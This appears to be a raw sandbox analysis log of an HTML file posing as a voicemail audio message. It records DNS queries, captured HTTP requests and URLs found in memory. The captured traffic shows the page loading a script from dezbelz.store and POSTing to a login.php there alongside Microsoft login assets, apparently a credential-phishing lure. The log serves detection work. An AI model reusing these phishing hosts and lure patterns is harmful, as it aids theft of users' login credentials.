Source: global traffic	HTTP traffic detected: GET /gesp/xls/login.php HTTP/1.1Host: dezbelz.storeConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=62m0fbatil19rqlqqt70iev85b
Source: global traffic	HTTP traffic detected: GET /gesp/xls/login.php HTTP/1.1Host: dezbelz.storeConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=62m0fbatil19rqlqqt70iev85b
Source: global traffic	HTTP traffic detected: GET /gesp/xls/login.php HTTP/1.1Host: dezbelz.storeConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=62m0fbatil19rqlqqt70iev85b
Source: global traffic	HTTP traffic detected: GET /gesp/xls/login.php HTTP/1.1Host: dezbelz.storeConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=62m0fbatil19rqlqqt70iev85b

Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: dezbelz.store
Source: global traffic	DNS traffic detected: DNS query: sopbtech.store
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: server.povbtech.store
Source: global traffic	DNS traffic detected: DNS query: _8020._https.server.povbtech.store
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org

Source: unknown

HTTP traffic detected: POST /gesp/xls/login.php HTTP/1.1Host: dezbelz.storeConnection: keep-aliveContent-Length: 31sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/x-www-form-urlencoded; charset=UTF-8sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: sets.json.0.dr	String found in binary or memory: https://07c225f3.online
Source: sets.json.0.dr	String found in binary or memory: https://24.hu
Source: chromecache_89.2.dr	String found in binary or memory: https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Source: sets.json.0.dr	String found in binary or memory: https://aajtak.in
Source: sets.json.0.dr	String found in binary or memory: https://abczdrowie.pl
Source: Play_VM.Now.matt.sibilo_Audio.wav...v.html	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Source: sets.json.0.dr	String found in binary or memory: https://alice.tw
Source: sets.json.0.dr	String found in binary or memory: https://ambitionbox.com
Source: sets.json.0.dr	String found in binary or memory: https://autobild.de
Source: sets.json.0.dr	String found in binary or memory: https://baomoi.com
Source: sets.json.0.dr	String found in binary or memory: https://bild.de
Source: sets.json.0.dr	String found in binary or memory: https://blackrock.com
Source: sets.json.0.dr	String found in binary or memory: https://blackrockadvisorelite.it
Source: sets.json.0.dr	String found in binary or memory: https://bluradio.com
Source: sets.json.0.dr	String found in binary or memory: https://bolasport.com
Source: sets.json.0.dr	String found in binary or memory: https://bonvivir.com
Source: sets.json.0.dr	String found in binary or memory: https://bumbox.com
Source: sets.json.0.dr	String found in binary or memory: https://businessinsider.com.pl
Source: sets.json.0.dr	String found in binary or memory: https://businesstoday.in
Source: sets.json.0.dr	String found in binary or memory: https://cachematrix.com
Source: sets.json.0.dr	String found in binary or memory: https://cafemedia.com
Source: sets.json.0.dr	String found in binary or memory: https://caracoltv.com
Source: sets.json.0.dr	String found in binary or memory: https://carcostadvisor.be
Source: sets.json.0.dr	String found in binary or memory: https://carcostadvisor.com
Source: sets.json.0.dr	String found in binary or memory: https://carcostadvisor.fr
Source: sets.json.0.dr	String found in binary or memory: https://cardsayings.net
Source: sets.json.0.dr	String found in binary or memory: https://chatbot.com
Source: sets.json.0.dr	String found in binary or memory: https://chennien.com
Source: sets.json.0.dr	String found in binary or memory: https://citybibleforum.org
Source: sets.json.0.dr	String found in binary or memory: https://clarosports.com
Source: sets.json.0.dr	String found in binary or memory: https://clmbtech.com
Source: sets.json.0.dr	String found in binary or memory: https://closeronline.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://clubelpais.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://cmxd.com.mx
Source: Play_VM.Now.matt.sibilo_Audio.wav...v.html	String found in binary or memory: https://code.jquery.com/jquery-3.1.1.min.js
Source: sets.json.0.dr	String found in binary or memory: https://cognitive-ai.ru
Source: sets.json.0.dr	String found in binary or memory: https://cognitiveai.ru
Source: sets.json.0.dr	String found in binary or memory: https://commentcamarche.com
Source: sets.json.0.dr	String found in binary or memory: https://commentcamarche.net
Source: sets.json.0.dr	String found in binary or memory: https://computerbild.de
Source: sets.json.0.dr	String found in binary or memory: https://content-loader.com
Source: sets.json.0.dr	String found in binary or memory: https://cookreactor.com
Source: sets.json.0.dr	String found in binary or memory: https://cricbuzz.com
Source: sets.json.0.dr	String found in binary or memory: https://css-load.com
Source: sets.json.0.dr	String found in binary or memory: https://deccoria.pl
Source: sets.json.0.dr	String found in binary or memory: https://deere.com
Source: sets.json.0.dr	String found in binary or memory: https://desimartini.com
Source: sets.json.0.dr	String found in binary or memory: https://dewarmsteweek.be
Source: Play_VM.Now.matt.sibilo_Audio.wav...v.html	String found in binary or memory: https://dezbelz.store/gesp/xls/C1e2l3l4a5r.js
Source: sets.json.0.dr	String found in binary or memory: https://drimer.io
Source: sets.json.0.dr	String found in binary or memory: https://drimer.travel
Source: sets.json.0.dr	String found in binary or memory: https://economictimes.com
Source: sets.json.0.dr	String found in binary or memory: https://een.be
Source: sets.json.0.dr	String found in binary or memory: https://efront.com
Source: sets.json.0.dr	String found in binary or memory: https://eleconomista.net
Source: sets.json.0.dr	String found in binary or memory: https://elfinancierocr.com
Source: sets.json.0.dr	String found in binary or memory: https://elgrafico.com
Source: sets.json.0.dr	String found in binary or memory: https://ella.sv
Source: sets.json.0.dr	String found in binary or memory: https://elpais.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://elpais.uy
Source: sets.json.0.dr	String found in binary or memory: https://etfacademy.it
Source: sets.json.0.dr	String found in binary or memory: https://eworkbookcloud.com
Source: sets.json.0.dr	String found in binary or memory: https://eworkbookrequest.com
Source: sets.json.0.dr	String found in binary or memory: https://fakt.pl
Source: sets.json.0.dr	String found in binary or memory: https://finn.no
Source: sets.json.0.dr	String found in binary or memory: https://firstlook.biz
Source: sets.json.0.dr	String found in binary or memory: https://gallito.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://geforcenow.com
Source: chromecache_90.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: sets.json.0.dr	String found in binary or memory: https://gettalkdesk.com
Source: chromecache_90.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: sets.json.0.dr	String found in binary or memory: https://gliadomain.com
Source: sets.json.0.dr	String found in binary or memory: https://gnttv.com
Source: sets.json.0.dr	String found in binary or memory: https://graziadaily.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://grid.id
Source: sets.json.0.dr	String found in binary or memory: https://gridgames.app
Source: sets.json.0.dr	String found in binary or memory: https://growthrx.in
Source: sets.json.0.dr	String found in binary or memory: https://grupolpg.sv
Source: sets.json.0.dr	String found in binary or memory: https://gujaratijagran.com
Source: sets.json.0.dr	String found in binary or memory: https://hapara.com
Source: sets.json.0.dr	String found in binary or memory: https://hazipatika.com
Source: sets.json.0.dr	String found in binary or memory: https://hc1.com
Source: sets.json.0.dr	String found in binary or memory: https://hc1.global
Source: sets.json.0.dr	String found in binary or memory: https://hc1cas.com
Source: sets.json.0.dr	String found in binary or memory: https://hc1cas.global
Source: sets.json.0.dr	String found in binary or memory: https://healthshots.com
Source: sets.json.0.dr	String found in binary or memory: https://hearty.app
Source: sets.json.0.dr	String found in binary or memory: https://hearty.gift
Source: sets.json.0.dr	String found in binary or memory: https://hearty.me
Source: sets.json.0.dr	String found in binary or memory: https://heartymail.com
Source: sets.json.0.dr	String found in binary or memory: https://heatworld.com
Source: sets.json.0.dr	String found in binary or memory: https://helpdesk.com
Source: sets.json.0.dr	String found in binary or memory: https://hindustantimes.com
Source: sets.json.0.dr	String found in binary or memory: https://hj.rs
Source: sets.json.0.dr	String found in binary or memory: https://hjck.com
Source: sets.json.0.dr	String found in binary or memory: https://html-load.cc
Source: sets.json.0.dr	String found in binary or memory: https://html-load.com
Source: sets.json.0.dr	String found in binary or memory: https://human-talk.org
Source: sets.json.0.dr	String found in binary or memory: https://idbs-cloud.com
Source: sets.json.0.dr	String found in binary or memory: https://idbs-dev.com
Source: sets.json.0.dr	String found in binary or memory: https://idbs-eworkbook.com
Source: sets.json.0.dr	String found in binary or memory: https://idbs-staging.com
Source: sets.json.0.dr	String found in binary or memory: https://img-load.com
Source: sets.json.0.dr	String found in binary or memory: https://indiatimes.com
Source: sets.json.0.dr	String found in binary or memory: https://indiatoday.in
Source: sets.json.0.dr	String found in binary or memory: https://indiatodayne.in
Source: sets.json.0.dr	String found in binary or memory: https://infoedgeindia.com
Source: sets.json.0.dr	String found in binary or memory: https://interia.pl
Source: sets.json.0.dr	String found in binary or memory: https://intoday.in
Source: sets.json.0.dr	String found in binary or memory: https://iolam.it
Source: sets.json.0.dr	String found in binary or memory: https://ishares.com
Source: sets.json.0.dr	String found in binary or memory: https://jagran.com
Source: sets.json.0.dr	String found in binary or memory: https://johndeere.com
Source: sets.json.0.dr	String found in binary or memory: https://journaldesfemmes.com
Source: sets.json.0.dr	String found in binary or memory: https://journaldesfemmes.fr
Source: sets.json.0.dr	String found in binary or memory: https://journaldunet.com
Source: sets.json.0.dr	String found in binary or memory: https://journaldunet.fr
Source: sets.json.0.dr	String found in binary or memory: https://joyreactor.cc
Source: sets.json.0.dr	String found in binary or memory: https://joyreactor.com
Source: sets.json.0.dr	String found in binary or memory: https://kaksya.in
Source: sets.json.0.dr	String found in binary or memory: https://knowledgebase.com
Source: sets.json.0.dr	String found in binary or memory: https://kompas.com
Source: sets.json.0.dr	String found in binary or memory: https://kompas.tv
Source: sets.json.0.dr	String found in binary or memory: https://kompasiana.com
Source: sets.json.0.dr	String found in binary or memory: https://lanacion.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://landyrev.com
Source: sets.json.0.dr	String found in binary or memory: https://landyrev.ru
Source: sets.json.0.dr	String found in binary or memory: https://laprensagrafica.com
Source: sets.json.0.dr	String found in binary or memory: https://lateja.cr
Source: sets.json.0.dr	String found in binary or memory: https://libero.it
Source: sets.json.0.dr	String found in binary or memory: https://linternaute.com
Source: sets.json.0.dr	String found in binary or memory: https://linternaute.fr
Source: sets.json.0.dr	String found in binary or memory: https://livechat.com
Source: sets.json.0.dr	String found in binary or memory: https://livechatinc.com
Source: sets.json.0.dr	String found in binary or memory: https://livehindustan.com
Source: sets.json.0.dr	String found in binary or memory: https://livemint.com
Source: sets.json.0.dr	String found in binary or memory: https://max.auto
Source: sets.json.0.dr	String found in binary or memory: https://medonet.pl
Source: sets.json.0.dr	String found in binary or memory: https://meo.pt
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.cl
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.co.cr
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.bo
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.do
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ec
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.gt
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.hn
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ni
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.pa
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.pe
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.py
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.sv
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://mercadolivre.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadolivre.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.cl
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ec
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.pe
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.cl
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mighty-app.appspot.com
Source: sets.json.0.dr	String found in binary or memory: https://mightytext.net
Source: sets.json.0.dr	String found in binary or memory: https://mittanbud.no
Source: sets.json.0.dr	String found in binary or memory: https://money.pl
Source: sets.json.0.dr	String found in binary or memory: https://motherandbaby.com
Source: sets.json.0.dr	String found in binary or memory: https://mystudentdashboard.com
Source: sets.json.0.dr	String found in binary or memory: https://nacion.com
Source: sets.json.0.dr	String found in binary or memory: https://naukri.com
Source: sets.json.0.dr	String found in binary or memory: https://nidhiacademyonline.com
Source: sets.json.0.dr	String found in binary or memory: https://nien.co
Source: sets.json.0.dr	String found in binary or memory: https://nien.com
Source: sets.json.0.dr	String found in binary or memory: https://nien.org
Source: sets.json.0.dr	String found in binary or memory: https://nlc.hu
Source: sets.json.0.dr	String found in binary or memory: https://nosalty.hu
Source: sets.json.0.dr	String found in binary or memory: https://noticiascaracol.com
Source: sets.json.0.dr	String found in binary or memory: https://nourishingpursuits.com
Source: sets.json.0.dr	String found in binary or memory: https://nvidia.com
Source: sets.json.0.dr	String found in binary or memory: https://o2.pl
Source: sets.json.0.dr	String found in binary or memory: https://ocdn.eu
Source: sets.json.0.dr	String found in binary or memory: https://onet.pl
Source: sets.json.0.dr	String found in binary or memory: https://ottplay.com
Source: sets.json.0.dr	String found in binary or memory: https://p106.net
Source: sets.json.0.dr	String found in binary or memory: https://p24.hu
Source: sets.json.0.dr	String found in binary or memory: https://paula.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://pdmp-apis.no
Source: sets.json.0.dr	String found in binary or memory: https://phonandroid.com
Source: sets.json.0.dr	String found in binary or memory: https://player.pl
Source: sets.json.0.dr	String found in binary or memory: https://plejada.pl
Source: sets.json.0.dr	String found in binary or memory: https://poalim.site
Source: sets.json.0.dr	String found in binary or memory: https://poalim.xyz
Source: sets.json.0.dr	String found in binary or memory: https://pomponik.pl
Source: sets.json.0.dr	String found in binary or memory: https://portalinmobiliario.com
Source: sets.json.0.dr	String found in binary or memory: https://prisjakt.no
Source: sets.json.0.dr	String found in binary or memory: https://pudelek.pl
Source: sets.json.0.dr	String found in binary or memory: https://punjabijagran.com
Source: sets.json.0.dr	String found in binary or memory: https://radio1.be
Source: sets.json.0.dr	String found in binary or memory: https://radio2.be
Source: sets.json.0.dr	String found in binary or memory: https://reactor.cc
Source: sets.json.0.dr	String found in binary or memory: https://repid.org
Source: sets.json.0.dr	String found in binary or memory: https://reshim.org
Source: sets.json.0.dr	String found in binary or memory: https://rws1nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://rws2nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://rws3nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://sackrace.ai
Source: sets.json.0.dr	String found in binary or memory: https://salemoveadvisor.com
Source: sets.json.0.dr	String found in binary or memory: https://salemovefinancial.com
Source: sets.json.0.dr	String found in binary or memory: https://salemovetravel.com
Source: sets.json.0.dr	String found in binary or memory: https://samayam.com
Source: sets.json.0.dr	String found in binary or memory: https://sapo.io
Source: sets.json.0.dr	String found in binary or memory: https://sapo.pt
Source: sets.json.0.dr	String found in binary or memory: https://shock.co
Source: sets.json.0.dr	String found in binary or memory: https://smaker.pl
Source: sets.json.0.dr	String found in binary or memory: https://smoney.vn
Source: sets.json.0.dr	String found in binary or memory: https://smpn106jkt.sch.id
Source: sets.json.0.dr	String found in binary or memory: https://socket-to-me.vip
Source: sets.json.0.dr	String found in binary or memory: https://songshare.com
Source: sets.json.0.dr	String found in binary or memory: https://songstats.com
Source: sets.json.0.dr	String found in binary or memory: https://sporza.be
Source: sets.json.0.dr	String found in binary or memory: https://standardsandpraiserepurpose.com
Source: sets.json.0.dr	String found in binary or memory: https://startlap.hu
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.com
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.net
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.org
Source: sets.json.0.dr	String found in binary or memory: https://stripe.com
Source: sets.json.0.dr	String found in binary or memory: https://stripe.network
Source: sets.json.0.dr	String found in binary or memory: https://stripecdn.com
Source: sets.json.0.dr	String found in binary or memory: https://supereva.it
Source: sets.json.0.dr	String found in binary or memory: https://takeabreak.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://talkdeskqaid.com
Source: sets.json.0.dr	String found in binary or memory: https://talkdeskstgid.com
Source: sets.json.0.dr	String found in binary or memory: https://teacherdashboard.com
Source: sets.json.0.dr	String found in binary or memory: https://technology-revealed.com
Source: sets.json.0.dr	String found in binary or memory: https://terazgotuje.pl
Source: sets.json.0.dr	String found in binary or memory: https://text.com
Source: sets.json.0.dr	String found in binary or memory: https://textyserver.appspot.com
Source: sets.json.0.dr	String found in binary or memory: https://the42.ie
Source: sets.json.0.dr	String found in binary or memory: https://thejournal.ie
Source: sets.json.0.dr	String found in binary or memory: https://thirdspace.org.au
Source: sets.json.0.dr	String found in binary or memory: https://timesinternet.in
Source: sets.json.0.dr	String found in binary or memory: https://timesofindia.com
Source: sets.json.0.dr	String found in binary or memory: https://tolteck.app
Source: sets.json.0.dr	String found in binary or memory: https://tolteck.com
Source: sets.json.0.dr	String found in binary or memory: https://top.pl
Source: sets.json.0.dr	String found in binary or memory: https://tribunnews.com
Source: sets.json.0.dr	String found in binary or memory: https://trytalkdesk.com
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com.co
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://tvid.in
Source: sets.json.0.dr	String found in binary or memory: https://tvn.pl
Source: sets.json.0.dr	String found in binary or memory: https://tvn24.pl
Source: sets.json.0.dr	String found in binary or memory: https://unotv.com
Source: sets.json.0.dr	String found in binary or memory: https://victorymedium.com
Source: sets.json.0.dr	String found in binary or memory: https://vrt.be
Source: sets.json.0.dr	String found in binary or memory: https://vwo.com
Source: sets.json.0.dr	String found in binary or memory: https://welt.de
Source: sets.json.0.dr	String found in binary or memory: https://wieistmeineip.de
Source: sets.json.0.dr	String found in binary or memory: https://wildix.com
Source: sets.json.0.dr	String found in binary or memory: https://wildixin.com
Source: sets.json.0.dr	String found in binary or memory: https://wingify.com
Source: sets.json.0.dr	String found in binary or memory: https://wordle.at
Source: sets.json.0.dr	String found in binary or memory: https://wp.pl
Source: sets.json.0.dr	String found in binary or memory: https://wpext.pl
Source: sets.json.0.dr	String found in binary or memory: https://www.asadcdn.com
Source: chromecache_86.2.dr, chromecache_89.2.dr	String found in binary or memory: https://www.office.com
Source: sets.json.0.dr	String found in binary or memory: https://ya.ru
Source: sets.json.0.dr	String found in binary or memory: https://yours.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://zalo.me
Source: sets.json.0.dr	String found in binary or memory: https://zdrowietvn.pl
Source: sets.json.0.dr	String found in binary or memory: https://zingmp3.vn

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
